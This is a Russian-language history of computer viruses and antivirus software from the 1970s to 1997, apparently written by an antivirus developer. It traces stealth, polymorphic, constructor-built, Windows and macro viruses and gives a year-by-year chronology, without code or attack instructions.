Следует обратить внимание на то, что истории завоевания вирусами России и Запада различаются между собой. Первым вирусом, стремительно распространившимся на Западе был загрузочный вирус «Brain», и только потом появились файловые вирусы «Vienna» и «Cascade». В России же наоборот, сначала появились файловые вирусы, а годом позже - загрузочные.
Время шло, вирусы плодились. Все они были чем-то похожи друг на друга, лезли в память, цеплялись к файлам и секторам, периодически убивали файлы, дискеты и винчестеры. Одним из первых «откровений» стал вирус «Frodo.4096» - первый из известных мне файловых вирусов-невидимок (стелс). Этот вирус перехватывал INT 21h и, при обращении через DOS к зараженным файлам, изменял информацию таким образом, что файл появлялся перед пользователем в незараженном виде. Но это была только надстройка вируса над MS-DOS. Не прошло и года, как электронные тараканы полезли внутрь ядра DOS (вирус-невидимка «Beast.512»). Идея невидимости продолжала приносить свой плоды и далее: летом 1991 года пронесся, кося компьютеры как бубонная чума, вирус «Dir_II». «Да-a-a!» сказали все, кто в нем копался.
Но бороться с невидимками было довольно просто: почистил RAM - и будь спокоен, ищи гада и лечи его на здоровье. Побольше хлопот доставляли самошифрующиеся вирусы, которые иногда всречались в очередных поступлениях в коллекции. Ведь для их идентификации и удаления приходилось писать специальные подпрограммы, отлаживать их. Но на это никто тогда не обращал внимания, пока... Пока не появились вирусы нового поколения, те, которые носят название полиморфик-вирусы. Эти вирусы используют другой подход к невидимости: они шифруются (в большинстве случаев), а в расшифровщике используют команды, которые могут не повторяться при заражении различных файлов.
3. Полиморфизм - мутация вирусовПервый полиморфик-вирус появился в начале 90-х кодов - «Chameleon», но по-настоящему серьезной проблема полиморфик-вирусов стала лишь год спустя - в апреле 1991-го, когда практически весь мир был охвачен эпидемией полиморфик-вируса «Tequila» (насколько мне известно, эта эпидемия практически не затронула Россию, а первая Российская эпидемия, вызванная полиморфик-вирусом, произошла аж три года спустя - год 1994, это был вирус «Phantom1»).
Популярность идеи самошифрующихся полиморфик-вирусов вылилась в появление генераторов полиморфик-кода - в начале 1992 появляется знаменитый вирус «Dedicated», базирующийся на первом известном полиморфик-генераторе MtE и открывший серию MtE-вирусов, а через довольно короткое время появляется и сам полиморфик-генератор. Представляет он из себя объектный модуль (OBJ-файл), и теперь для того чтобы из самого обычного нешифрованного вируса получить полиморфик-мутанта достаточно лишь слинковать их объектные модули - OBJ-файл полиморфик-генератора и OBJ-файлом вируса. Теперь автору вируса, если он желает создать настоящий полиморфик-вирус, не придется корпеть над кодами собственного за/расшифровщика. При желании он может подключить к своему вирусу полиморфик-генератор и вызывать его из кодов вируса.
К счастью, первый MtE-вирус не попал в «живую природу» и не вызвал эпидемии, а разработчики антивирусных программ, соответственно, имели некоторый запас времени для подготовки к отражению новой напасти.
Всего год спустя производство полиморфик-вирусов становится уже «ремеслом», и в 1993 году произошел их «обвал». В поступающих в коллекцию вирусах удельный вес самошифрующихся полиморфик-вирусов становится все больше и больше. Создается впечатление, что одним из основных направлений в трудном деле создания вирусов становится разработка и отладка полиморфик-механизма, а конкуренция среди авторов вирусов сводится не к тому, кто из них напишет самый крутой вирус, а чей полиморфик-механизм окажется круче всех.
Вот далеко не полный список тех из них, которые можно назвать стопроцентно полиморфичными (конец 1993):
>Bootache, CivilWar (четыре версии), Crusher, Dudley, Fly, Freddy, Ginger, Grog, Haifa, >Moctezuma (две версии), MVF, Necros, Nukehard, PcFly (три версии), Predator, Satanbug, Sandra, Shoker, Todor, Tremor, Trigger, Uruguay (восемь версий).
Для обнаружения этих вирусов приходится использовать специальные методы, к которым можно отнести эмуляцию выполнения кода вируса, математические алгоритмы восстановления участков кода и данных в вирусе и т.д. К не-стопроцентным полиморфикам (т.е. которые шифруют себя, но в расшифровщике вируса всегда существуют постоянные байты) можно отнести еще десяток новых вирусов:
Basilisk, Daemaen, Invisible (две версии), Mirea (несколько версий), Rasek (три версии), Sarov, >Scoundrel, Seat, Silly, Simulation.
Однако и они требуют расшифровки кода для их детектирования и восстановления пораженных объектов, поскольку длина постоянного кода в рассшифровщике этих вирусов слишком мала.
Параллельно с полиморфик-врусами развиваются полиморфик-генераторы. Появляется несколько новых, использующих более сложные методы генерации полиморфик-кода, они распространяются по станциям BBS в виде архивов, содержащих объектные модули, документацию и примеры использования. В конце 1993 года было известно уже семь генераторов полиморфик-кода. Это:
MTE 0.90 (Mutation Engine), четыре различные версии TPE (Trident Polymorphic Engine), NED (Nuke Encryption Device), DAME (Dark Angel's Multiple Encryptor).
С тех пор новые полиморфные генераторы появлялись по несколько штук в год, и приводить их полный список вряд ли имеет смысл.
4. Автоматизация производства и конструкторы вирусовЛень - движущая сила прогресса. Эта народная мудрость не нуждается в комментариях. Но только в середине 1992 года прогресс в виде автоматизации производства дошел и до вирусов. Пятого июля 1992 года объявлен к выпуску в свет первый конструктор вирусного кода для IBM-PC совместимых компьютеров - пакет VCL (Virus Creation Laboratory) версии 1.00.
Этот конструктор позволяет генерировать исходные и хорошо откомментированные тексты вирусов (файлы, содержащие ассемблерный текст), объектные модули и непосредственно зараженные файлы. VCL снабжен стандартным оконным интерфейсом. При помощи системы меню можно выбрать тип вируса, поражаемые объекты (COM и/или EXE), наличие или отсутствие самошифровки, противодействие отладчику, внутренние текстовые строки, подключить до десяти эффектов, сопровождающих работу вируса и т.п. Вирусы могут использовать стандартный способ поражения файлов в их конец, или записывать себя вместо файлов, уничтожая их первоначальное содержимое, или являться вирусами-спутниками (международный термин - компаньон-вирусы [companion]).
И все сразу стало значительно проще: захотел напакостить ближнему - садись за VCL и, за 10-15 минут настрогав 30-40 разных вирусов, запусти их на неприятельском компьютере(ах). Каждому компьютеру - отдельный вирус!
Дальше - больше. 27 июля появилась первая версия конструктора PS-MPC (Phalcon/Skism Mass-Produced Code Generator). Этот конструктор не содержит в себе оконного интерфейса и генерирует исходные тексты вирусов по файлу конфигурации. Этот файл содержит в себе описание вируса: тип поражаемых файлов (COM или EXE); резидентность (PS-MPC создает также и резидентные вирусы, чего не позволяет конструктор VCL); способ инсталляции резидентной копии вируса; возможность использования самошифрования; возможность поражения COMMAND.COM и массу другой полезной информации.
На основе PS-MPC был создан конструктор G2 (Phalcon/Skism's G2 0.70 beta), который поддерживает файлы конфигурации стандарта PS-MPC, однако при генерации вируса использует большее количество вариантов кодирования одних и тех же функций.
Имеющаяся у меня версия G2 помечена первым января 1993 года. Видимо, новогоднюю ночь авторы G2 провели за компьютерами. Лучше бы они вместо этого попили шампанского, хотя одно другому не мешает.
Итак, каким же образом повлияли конструкторы вирусов на электронную фауну? В коллекции вирусов, которая хранится на моем «складе», количество «сконструированных» вирусов следующее:
На базе VCL и G2 - по несколько сотен; на базе PS-MPC - более тысячи.
Так проявилась еще одна тенденция в развитии компьютерных вирусов: все большую часть в коллекциях начинают занимать «сконструированные» вирусы, а в ряды их авторов начинают вливаться откровенно ленивые люди, которые сводят творческую и уважаемую профессию вирусописания к весьма заурядному ремеслу.
5. За пределы DOSГод 1992-й принес больше, чем полиморфик-вирусы и вирус-конструкторы. В конце этого года появился первый вирус для Windows, открывший, таким образом, новую страницу в истории вирусописания. Небольного размера (менее 1K), совершенно безвредный и нерезидентный вирус вполне грамотно заражал выполняемые файлы нового формата Windows (NewEXE) и своим появлением пробил для вирусов окно в мир Windows.
Через некоторое время появились вирусы для OS/2, а в январе 1996 - и первый вирус для Windows95. На сегодняшний день не проходит и недели без появления новых вирусов, заражающих не-DOS системы, и, видимо, проблема не-DOS вирусов в скором времени выйдет на первый план, перекрыв проблему DOS-вирусов. Скорее всего, это произойдет эквивалентно постепенному умиранию DOS и распространению новых операционных систем и программ для них. Коль скоро все существующие DOS-приложения будут замещены их аналогами для Windows, Win95 и OS/2, проблема DOS-вирусов сойдет на нет и оставит после себя лишь теоретический интерес для компьютерного социума.
В том же 1993 году появилась и первая попытка написать вирус, работающий в защищенном режиме процессора Intel386. Это был загрузочный вирус «PMBS», названный так по строке текста внутри его кода. При загрузке с зараженного диска вирус переходил в защищенный режим, устанавливал себя как супервизор системы и затем загружал DOS в режиме виртуального окна V86. К счастью, вирус этот оказался «не жильцом» - его второе поколение напрочь отказывалось размножаться по причине нескольких ошибок в коде вируса. К тому же он «завешивал» систему, если какая-либо из программ пыталась выйти за пределы V86, например, определить наличие расширенной памяти.
Эта неудачная попытка написать вирус-супервизор так и оставалась единственной известной вплоть до весны 1997 года, когда один московский умелец выпустил вирус «PM.Wanderer» - вполне «удачную» реализацию вируса, работающего в защищенном режиме.
Пока непонятно, станут ли в дальнейшем вирусы-супервизоры действительной проблемой для пользователей и разработчиков антивирусных программ. Скорее всего нет, так как такие вирусы должны «засыпать» на время работы новых операционных систем (Windows, Win95/NT, OS/2), что позволяет их (вирусы) легко обнаружить и удалить. Однако полноценный вирус-супервизор, использующий технологию «стелс» может принести немало неприятностей пользователям «чистой» DOS, ведь обнаружить такой стелс-вирус под DOS не представляется возможным.
6. Эпидемия макро-вирусаГод 1995-й, август. Все прогрессивное человечество, компания Microsoft и Билл Гейтс лично празднуют выход новой операционной системы Windows95. На фоне шумного торжества практически незамеченным прошло сообщение о появлении вируса, использующего принципиально новые методы заражения, вируса, заражающего документы Microsoft Word.
Честно говоря, это был не первый вирус, заражающий документы Word. До этого момента антивирусные фирмы уже имели на руках первый опытный образец вируса, который переписывал себя из документа в документ. Однако никто не обратил серьезного внимания на этот не вполне удачный эксперимент. В результате практически все антивирусные фирмы оказались не готовыми к последующему развитию событий - эпидемии макро-вируса - и начали спешно предпринимать полу-меры. Например, несколько фирм практически одновременно выпустили в свет документы-антивирусы, действовавшие примерно по тем же принципам, что и вирус, однако уничтожавшие его вместо размножения.
Кстати, спешно пришлось править антивирусную литературу - ведь она раньше на вопрос «Можно ли заразить компьютер при чтении файла?» отвечала «Однозначно - нет!» и приводила длинные доказательства этого.
А вирус, получивший к тому времени имя «Concept», продолжал победное движение по планете. Появившись скорее всего в каком-то из подразделений фирмы Microsoft, «Concept» в мгновение ока завладел тысячами (если не миллионами) компьютеров. Это неудивительно, ведь передача текстов в формате MS Word стала де-факто одним из стандартов, а для того, чтобы заразиться вирусом, требуется всего-лишь открыть зараженный документ, и все остальные документы, редактируемые в зараженном Word'e также оказываются зараженными. В результате, получив по Internet зараженный файл и прочитав его, пользователь, не зная того сам, оказывался «разносчиком заразы», и вся его переписка (если, конечно же она велась при помощи MS Word) также оказывалась зараженной! Таким образом, возможность заражения MS Word, помноженная на скорость Internet, стала одной из самых серьезных проблем за всю историю существования вирусов.
Не прошло и года, как летом 1996-го года появился вирус «Laroux» («Лару»), заражающий таблицы MS Excel. Как и в случае с вирусом «Concept», новый макро-вирус был обнаружен «в природе» практически одновременно в разных фирмах. Кстати, в 1997 году этот вирус стал причиной эпидемии в Москве.
В том же 1996 году появились первые конструкторы макро-вирусов, а в начале 1997 года появились первые полиморфик-макро-вирусы для MS-Word и первые вирусы для MS Office97. Плюс к тому непрерывно росло число разнообразных макро-вирусов, достигшее нескольких сотен к лету 1997-го.
Открыв новую страницу в августе 1995-го, опираясь на весь опыт, накопленный вирусописательством за почти десятилетие непрерывной работы и совершенствования, макро-вирусы, пожалуй, являются самой большой проблемой современной вирусологии.
7. Хронология событийПора перейти к более детальному описанию событий. Начнем с самого начала.
конец 1960 - начало 1970-хНа мейнфреймах этого времени периодически появлялись программы, которые получили название «кролик» (the rabbit). Эти программы клонировали себя, занимали системные ресурсы и таким образом снижали производительность системы. Скорее всего «кролики» не передавались от системы к системе и являлись сугубо местными явлениями - ошибками или шалостями системных программистов, обслуживавших компьютер. Первый же инцидент, который смело можно назвать эпидемией «компьютерного вируса», произошел на системе Univax 1108. Вирус, получивший название «Pervading Animal», дописывал себя к выполняемым файлам - делал практически то же самое, что тысячи современных компьютерных вирусов.
первая половина 1970-хПод операционную систему Tenex создан вирус «The Creeper», использовавший для своего распространения глобальные компьютерные сети. Вирус был в состоянии самостоятельно войти в сеть через модем и передать свою копию удаленной системе. Для борьбы с этим вирусом была создана программа «The Reeper» - первая известная антивирусная программа.
Начало 1980-хКомпьютеры становятся все более и более попуярными. Появляется все больше и больше программ, авторами которых являются не софтверные фирмы, а частные лица, причем эти программы имеют возможность свободного хождения по различным серверам общего доступа - BBS. Результатом этого является появление большого числа разнообразных «троянских коней» - программ, которые при их запуске наносят системе какой-либо вред.
1981Эпидемия загрузочного вируса «Elk Cloner» на компьютерах Apple II. Вирус записывался в загрузочные сектора дискет, к которым шло обращение. Проявлял он себя весьма многосторонне - переворачивал экран, заставлял мигать текст на экране и выводил разнообразные сообщения.
1986Пандемия первого IBM-PC вируса «Brain». Вирус, заражающий 360Кб дискеты, практически мгновенно разошелся по всему миру. Причиной такого «успеха» являлась скорее всего неготовность компьютерного общества к встрече с таким явлением, как компьютерный вирус.
Вирус был написан в Пакистане братьями Basit и Amjad Farooq Alvi, оставившими в вирусе текстовое сообщение, содержащее их имена, адрес и телефонный номер. Как утверждали авторы вируса, они являлись владельцами компании по продаже программных продуктов и решили выяснить уровень пиратского копирования в их стране. К сожалению, их эсперимент вышел за границы Пакистана.
Интересно, что вирус «Brain» являлся также и первым стелс-вирусом - при попытке чтения зараженного сектора он «подставлял» его незараженный оригинал.
В том же 1986 году программист по имени Ральф Бюргер (Ralf Burger) обнаружил, что программа может делать собственные копии путем добавления своего кода к выполняемым DOS-файлам. Его первый вирус, названный «VirDem», демонстрировал эту возможность. Этот вырус был проаннонсирован в декабре 1986 на форуме компьютерного «андеграунда» - хакеров, специализировавшихся в то время на взломе VAX/VMS-систем (Chaos Computer Club in Hamburg).
1987Появление вируса «Vienna». Копия этого вируса попадает в руки все того же Ральфа Бюргера, который дизассемблирует вирус и помещает результат в свою книгу «Computer Viruses: A High Tech Desease» (русский аналог - «Пишем вирус и антивирус» г. Хижняка). Книга Бюргера популяризовала идею написания вирусов, объясняла как это происходит и служила таким образом толчком к написению сотен или даже тысяч компьютерных вирусов, частично использовавших идеи из этой книги.
В том же году независимо друг от друга появляется еще несколько вирусов для IBM-PC. Это знаменитые в прошлом «Lehigh», заражающий только COMMAND.COM, «Suriv-1» (другое название - «April1st»), заражающий COM-файлы, «Suriv-2», заражающий (впервые) EXE-файлы, и «Suriv-3», заражающий как COM-, так и EXE-файлы. Появляются также несколько загрузочных вирусов («Yale» в США, «Stoned» в Новой Зеландии и «PingPong» в Италии) и первый самошифрующийся файловый вирус «Cascade».
Не остались в стороне и не-IBM-компьютеры: было обнаружено несколько вирусов для Apple Macintosh, Commodore Amiga и Atari ST.
В декабре 1987 произошла первая известная повальная эпидемия сетевого вируса «Cristmas Tree», написанного на языке REXX и распрастранявшего себя в сперационной среде VM/CMS. 9-го декабря вирус был запущен в сеть Bitnet в одном из университетов Западной Германии, проник через шлюз в European Academic Research Network (EARN) и затем - в сеть IBM VNet. Через четыре дня (13 декабря) вирус парализовал сеть - она была забита его копиями (см. пример про клерка несколькими страницами выше). При запуске вирус выводил на экран изображение новогодей (вернее, рождественской) елочки и рассылал свои копии всем пользователям сети, чьи адреса присутствовали в соответствующих системных файлах NAMES и NETLOG.
1988В пятницу 13-го мая 1988-го года сразу несколько фирм и университетов нескольких стран мира «познакомились» с вирусом «Jerusalem» - в этот день вирус уничтожал файлы при их запуске. Это, пожалуй, один из первых MS-DOS-вирусов, ставший причиной настоящей пандемии - сообщения о зараженных компьютерах поступали из Европы, Америки и Ближнего Востока. Название, кстати, вирус получил по месту одного из инцидентов - университета в Иерусалиме.
Вместе с несколькими другими вирусами («Cascade», «Stoned», «Начали появляться заведомо ложные сообщения о компьютерных вирусах, никакой реальной информации не содержащие, но вносившие панику в стройные ряды компьютерных пользователей. Одна из первых таких «злых шуток» (современный термин - «virus hoax») принадлежит некому Mike RoChenle (псевдоним похож на «Microchannel»), который разослал на станции BBS большое количество сообщений о якобы существующем вирусе, который передается от модема к модему и использует для этого скорость 2400 бод. Как это ни смешно, многие пользоватеили отказались от стандарта тех дней 2400 и снизили скорость своих модемов до 1200 бод. Подобные «hoax»-ы появляются и сейчас. Наиболее известны на сегодняшний день - GoodTimes и Aol4Free.
Ноябрь 1988: повальная эпидемия сетевого вируса Морриса (другое название - Internet Worm). Вирус заразил более 6000 компьютерных систем в США (включая NASA Research Institute) и практически парализовал их работу. По причине ошибки в коде вируса он, как и вирус-червь «Cristmas Tree», неограниченно рассылал свои копии по другим компьютьерам сети и, таким образом, полностью забрал под себя ее ресурсы. Общие убытки от вируса Морриса были оценены в 96 миллионов долларов.
Вирус использовал для своего размножения ошибки в операционной системе Unix для VAX и Sun Microsystems. Помимо ошибок в Unix вирус использовал несколько других оригинальных идей, например, подбор паролей пользователей. Подробнее об этом вирусе и связанным с ним инцидентом можно прочитать в достаточно подробной и интересной статье Игоря Моисеева в журнале КомпьютерПресс, 1991, N8,9.
Декабрь 1988: сезон вирусов-червей продолжается, на этот раз в сети DECNet. Вирус-червь HI.COM выводил на экран изображение елочки и извещал пользователей, что им следует «stop computing and have a good time at home!!!».
Появляются новые антивирусные программы, например, Dr.Solomon's Anti-Virus Toolkit, являющийся на сегодняшний день одним из самых мощных антивирусов.
1989
Появляются новые вирусы - «>Datacrime», «FuManchu» и целые семейства - «Vacsina» и «Yankee». Первый имел крайне опасное проявление - с 13 октября по 31 декабря он форматировал винчестер. Этот вирус вырвался «на свободу» и вызвал повальную истерию в средствах массовой информации в Голландии и Великобритании.
Сентябрь 1989: на рынок выходит еще одна антивирусная программа - IBM Anti-Virus.
Октябрь 1989: в сети DECNet зафиксирована еще одна эпидемия вируса-червя - «WANK Worm».
Декабрь 1989: инцидент с «троянским конем» «Aids». Было разослано 20.000 его копий на дискетах, помеченных как «AIDS Information Diskette Version 2.0». После 90 загрузок системы «троянец» шифровал имена всех файлов на диске, делал их невидимыми (атрибут «hidden») и оставлял на диске только один читаемый файл - счет на 189 долларов, который следовало послать по адресу PO Box 7, Panama. Автор «троянца» был пойман и приговорен к тюремному заключению.
Следует отметить тот факт, что 1989 год являлся началом повальной эпидемии компьютерных вирусов в России - все те же вирусы «Cascade», «Jerusalem» и «Vienna» заполонили компьютеры российских пользователей. К счастью, российские программисты довольно быстро разобрались с принципами их работы и практически сразу появилось несколько отечественных противоядий-антивирусов.
Мое первое знакомство с вирусом (это был вирус «Cascade») произошло в октябре 1989 года - вирус оказался обнаруженным на моем рабочем компьютере. Именно это и послужило толчком для моей профессиональной переориентации на создание программ-антивирусов. Кстати, тот первый вирус я вылечил популярной в те времена антивирусной программой ANTI-KOT Олега Котика. Месяцем позже второй инцидент (вирус «Vacsina») был закрыт при помощи первой версии моего антивируса -V (который несколькими годами позже был переименован в AVP - AntiViral Toolkit Pro). К концу 1989 года на просторах России паслось уже около десятка вирусов (перечислены в порядке их появления): две версии «Cascade», несколько вирусов «Vacsina» и «Yankee», «Jerusalem», «Vienna», «Eddie», «PingPong».
1990Этот год принес несколько довольно заметных событий. Первым из них является появление первых полиморфик-вирусов «>Chameleon» (другое название - «V2P1», «V2P2» и «V2P6»). До этого момента антивирусные программы для поиска вирусов пользовались так называемыми «масками» - кусками вирусного кода. После появления вирусов «Chameleon» разработчики антивирусных программ были вынуждены искать другие методы их обнаружения.
Вторым событием являлось появление болгарского «завода по производству вирусов»: огромное количество новых вирусов имели болгарское происхождение. Это были целые семейства вирусов «Murphy», «Nomenclatura», «Beast» (или «512», «Number-of-Beast»), новые модификации вируса «Eddie» и др. Особенную активность проявлял некто Dark Avenger, выпускавший в год по несколько новых вирусов, использовавших принципиально новые алгоритмы заражения и скрытия себя в системе. В Болгарии же впервые появлась и первая BBS, ориентированная на обмен вирусами и информацией для вирусописателей.
В июле 1990 произошел инцидент с компьютерным журналом PC Today (Великобретания). Он содержал флоппи-диск, зараженный вирусом «DiskKiller». Было продано более 50.000 копий журнала.
Во второй половине 1990-го появились два стелс-монстра - «Frodo» и «Whale». Оба вируса использовали крайне сложные стелс-алгоритмы, а девятикилобайтный «Whale» к тому же применял несколько уровней шифровки и анти-отладочных приемов.
Появились и первые известные мне отечественные вирусы: «Peterburg», «Voronezh» и ростовский «LoveChild».
1991Популяция компьютерных вирусов непрерывно растет, достигая уже нескольких сотен. Растет и антивирусная активность: сразу два софтверных монстра (Symantec и Central Point) выпускают собственные антивирусные программы - Norton Anti-Virus и Central Point Anti-Virus. Следом появляются менее известные антивирусы от Xtree и Fifth Generation.
В апреле разразилась настоящая эпидемия файлово-загрузочного полиморфик-вируса «Tequila», а в сентябре подобная же «история» произошла с вирусом «Amoeba». Россию эти события практически не затронули.
Лето 1991: эпидемия вируса «Dir_II», использовавшего принципиально новые способы заражения файлов (link-вирус).
В целом, год 1991 был достаточно спокойным - этакое затишье перед бурей, разразившейся в 1992-м.
1992Вирусы для не-IBM-PC и не-MS-DOS практически забыты: «дыры» в глобальных сетях закрыти, ошибки исправлены, и сетевые вирусы-черви потеряли возможность для распространения. Все большую и большую значимость начинают приобретать файловые, загрузочные и файлово-загрузочные вирусы для наиболее распространенной операционной системы (MS-DOS) на самом популярном компьютере (IBM-PC). Количество вирусов растет в геометрической прогрессии, различные инциденты с вирусами происходят чуть ли не ежедневно. Развиваются различные антивирусные программы, выходят десятки кних и несколько регулярных журналов, посвященных вирусам. На этом фоне выделяются несколько основных моментов:
Начало 1992: первый полиморфик-генератор MtE, на базе которого через некоторое время появляется сразу несколько полиморфик-вирусов. MtE явился также прообразом нескольких последующих полиморфик-генераторов.
Март 1992: эпидемия вируса «Michelangelo» («March6») и связанная с этим истерия. Наверное, это первый известный случай, когда антивирусные компании раздували шумиху вокруг вируса не для того, чтобы защитить пользователей от какой-либо опасности, а для того, чтобы привлечь внимание к своему продукту, т.е. в целях извлечения коммерческой выгоды. Так одна американская антивирусная компания заявила, что 6-го марта будет разрушена информация более чем на пяти миллионах компьютеров. В результате поднявшейся после этого шумихи прибыли различных антивирусных фирм поднялись в несколько раз, а от вируса в дейтсвительности пострадали всего около 10.000 машин.
Июль 1992: появление первых конструкторов вирусов VCL и PS-MPC, которые увеличили и без того немаленький поток новых вирусов и, как и MtE в своей области, подтолкнули вирусописателей к созданию других, более мощных конструкторов.
Конец 1992: первый вирус для Windows, заражающий выполняемые файлы этой операционной системы, открыл новую страницу в вирусописательстве.
1993Вирусописатели серьезно взялись за работу: помимо сотен рядовых вирусов, принципиально не отличающихся от своих собратьев, помимо целого ряда новых полиморфик-генераторов и конструкторов, помимо новых электронных изданий врусописателей появляется все больше и больше вирусов, использующих крайне необычные способы заражения файлов, проникновения в систему и т.д. Основными примерами являются:
«PMBS», работающий в защищенном режиме процессора Intel 80386.
«Strange» (или «Hmm») - сольное выступление на тему «стелс-вирус», однако выполненное на уровне аппаратных прерываний INT 0Dh и INT 76h.
«Shadowgard» и «Carbuncle», значительно расширившие диапазон алгоритмов компаньон-вирусов;
«Emmie», «Metallica», «Bomber», «Uruguay» и «Cruncher» - использование принципиально новых приемов «спрятывания» своего кода в зараженных файлах.
Весной 1993 Microsoft выпустил свой собственный антивирус MSAV, основой которого послужил CPAV от Central Point.
1994Все большее значение приобретает проблема вирусов на компакт-дисках. Быстро став популярными, эти диски оказались одним из основных путей распространения вирусов. Зафиксировано сразу несколько инцидентов, когда вирус попадал на мастер-диск при подготовке партии компакт-дисков. В результате на компьютерный рынок были выпущены довольно большие тиражи (десятки тысяч) зараженных дисков. Естественно, что об их лечении говорить не приходится - их придется просто уничтожить.
В начале года в Великобритании появились два крайне сложных полиморфик-вируса - «SMEG.Pathogen» и «SMEG.Queeg» (до сих пор не все антивирусные программы в состоянии достичь 100%-го результата при их детектировании). Автор вирусов помещал зараженные файлы на станции BBS, что явилось причиной настоящей эпидемии и паники в средствах массовой информации.
Еще одну волну паники вызвало сообщение о якобы существующем вирусе «GoodTimes», распространяющем себя по сети Интернет и заражающем компьютер при получении электронной почты. Накакого такого вируса на самом деле не существовало, однако через некоторое время появился обычный DOS-вирус с текстом «Good Times», вирус этот получил название «GT-Spoof».
Активизируются правоохранительные органы: летом 1994 автор SMEG был «вычислен» и арестован. Примерно в то же самое время в той же Великобритании арестована целая группа вирусописателей, называвшая себя ARCV (Assotiation for Really Cruel Viruses). Некоторое время спустя еще один автор вирусов был арестован в Норвегии.
Появляются несколько новых достаточно необычных вирусов:
Январь 1994: «Shifter» - первый вирус, заражающий объектные модули (OBJ-файлы). «Phantom1» - эпидемия первого полиморфик-вируса в Москве.
Апрель 1994: «SrcVir» - семейство вирусов, заражающих исходные тексты программ (C и Pascal).
Июнь 1994: «OneHalf» - начало повальной эпидемии вируса, до сих пор являющегося самым популярным вирусом в России.
Сентябрь 1994: «3APA3A» - эпидемия файлово-загрузочного вируса, использующего крайне необычный способ внедрения в MS-DOS. Ни один антивирус не оказался готовым к встрече с подобного типа монстром.
В 1994 году (весна) перестал существовать один из антивирусных лидеров того времени - Central Point. Он был приобретен фирмой Симантек, которая до того уже успела «проглотить» несколько небольших фирм, занимавшихся антивирусными разработками - Peter Norton Computing, Certus International и Fifth Generation Systems.
1995Ничего действительно заметного в области DOS-вирусами не произошло, хотя появляется несколько достаточно сложных вирусов-монстров типа «NightFall», «Nostradamus», «Nutcracker» и таких забавных вирусов, как «двуполый» вирус «RMNS» и BAT-вирус «Winstart». Широкое распространение получили вирусы «ByWay» и «DieHard2» - сообщения о зараженных компьютерах были получены практически со всего мира.
Февраль 1995: произошел инцидент с Microsoft: на диске, содержащем демонстрационную версию Windows95, обнаружен вирус «Form». Копии этого диска Microsoft разослал бета-тестерам, один из которых не поленился проверить диск на вирусы.
Весна 1995: аннонсирован альянс двух антивирусных компаний - ESaSS (ThunderBYTE anti-virus) и Norman Data Defence (Norman Virus Control). Эти компании, выпускающие достаточно сильные антивирусы, объединили усилия и приступили к разработке единой антивирусной системы.
Август 1995: один из поворотных моментов в истории вирусов и антивирусов: в «живом виде» обнаружен первый вирус для Microsoft Word («Concept»). Буквально за месяц вирус «облетел» весь земной шар, заполонил компьютеры пользователей MS-Word и прочно занял первое место в статистических исследованиях, проводимых различными компьютерными изданиями.
1996Январь 1996: два достаточно заметных события - появился первый вирус для Windows95 («Win95.Boza») и эпидемия крайне сложного полиморфик-вируса «Zhengxi» в Санкт-Петербурге.
Март 1996: первая эпидемия вируса для Windows 3.x. Его имя - «Win.Tentacle». Этот вирус заразил компьютерную сеть в госпитале и нескольких других учреждениях во Франции. Интересность этого события состояла в том, что это был ПЕРВЫЙ Windows-вирус, вырвавшийся на свободу. До той поры (насколько мне известно) все Windows-вирусы жили только в коллекциях и электронных журналах вирусописателей, а в «живом виде» встречались только загрузочные, DOS- и Macro-вирусы.
Июнь 1996: «OS2.AEP» - первый вирус для OS/2, корректно заражающий EXE-файлы этой операционной системы. До этого в OS/2 встречались только вирусы, которые записывались вместо файла, уничтожая его или действуя методом «компаньон».
Июль 1996: «Laroux» - первый вирус для Microsoft Excel, к тому же пойманный в «живом виде» (практически одновременно в двух нефтедобывающих компаниях на Аляске и в ЮАР). Как и у MS-Word-вирусов, принцип действия «Laroux» основывается на наличии в файлах так называемых макросов - программ на языке Basic. Такие программы могут быть включены в электронные таблицы Excel так же, как и в документы MS-Word. Как оказалось, встроенный в Excel язык Basic также позволяет создавать вирусы. Этот же вирус в апреле 1997 стал причиной эпидемии в компьютерных фирмах Москвы.
Декабрь 1996: «Win95.Punch» - первый «резидентный» вирус для Win95. Загружается в систему как VxD-драйвер, перехватывает обращения к файлам и заражает их.
В целом год 1996 можно считать началом широкомасштабного наступления компьютерного андеграунда на операционную систему Windows32 (Windows95 и Windows NT) и на приложения Microsoft Office. За этот и следующий год появилось несколько десятков вирусов для Windows95/NT и несколько сотен макро-вирусов. Во многих их них вирусописатели применяли совершенно новые приемы и методы заражения, добавляли стелс- и полиморфик-механизмы и т.п. Таким образом компьютерные вирусы вышли на новый виток своего развития - на уровень 32-битных операционных систем. За два года вирусы для Windows32 повторили примерно все те же стадии, что ровно 10 лет до того прошли DOS-вирусы, однако на совершенно новом технологическом уровне.
1997Февраль 1997: «Linux.Bliss» - первый вирус для Linux (разновидность юникса). Так вирусы заняли еще одну «биологическую» нишу.
Февраль-апрель 1997: Макро-вирусы перебрались и в Office97. Первые из них оказались всего лишь «отконвертированными» в новый формат макро-вирусами для Word 6/7, однако практически сразу появились вирусы, ориентированные только на документы Office97.
Март 1997: «ShareFun» - макро-вирус, поражающий MS Word 6/7. Для своего размножения использует не только стандартные возможности MS Word, но также рассылает свои копии по электронной почте MS-Mail.
Апрель 1997: «Homer» - первый сетевой вирус-червь, использующий для своего размножения File Transfer Protocol (ftp).
Июнь 1997: Появление первого самошифрующегося вируса для Windows95. Вирус, имеющий российское происхождение, был разослан на несколько BBS в Москве, что стало причиной эпидемии.
Ноябрь 1997: Вирус «Esperanto». Попытка создания (к счастью, неудачная) многоплатформенного вируса, который работает не только под DOS и Windows, но в состоянии заражать и файлы Mac OS (Макинтош).
Декабрь 1997: появилась новая форма вируса - черви mIRC. Оказалось, что наиболее популярная утилита Windows IRC (Internet Relay Chat), известная как mIRC, содержала «дыру», позволяющую вирусным скриптам передавать себя по IRC-каналам. В очередной версии IRC дыра была закрыта, и mIRC-черви канули в лету.
Основным антивирусным событием в 1997 году стало, конечно же, отделение антивирусного подразделения фирмы КАМИ в независимую компанию «Лаборатория Касперского», зарекомендовавшую себя на сегодняшний день как признанный технический лидер антивирусной индустрии. Начиная с 1994 года основной продукт компании - антивирусный сканер AntiViral Toolkit Pro (AVP) - стабильно показывает высокие результаты в многочисленных тестах, проводимых различными тестовыми лабораториями всего мира. Отделение в независимую компанию позволило по началу небольшой группе разработчиков стать первой по значимости антивирусной компанией на отечетсвенном рынке и достаточно заметной фигурой на ринке мировом. За короткие сроки были разработаны и выпущены версии для практически всех популярных платформ, предложены новые антивирусные решения, создана сеть международной дистрибуции и технической поддрежки.
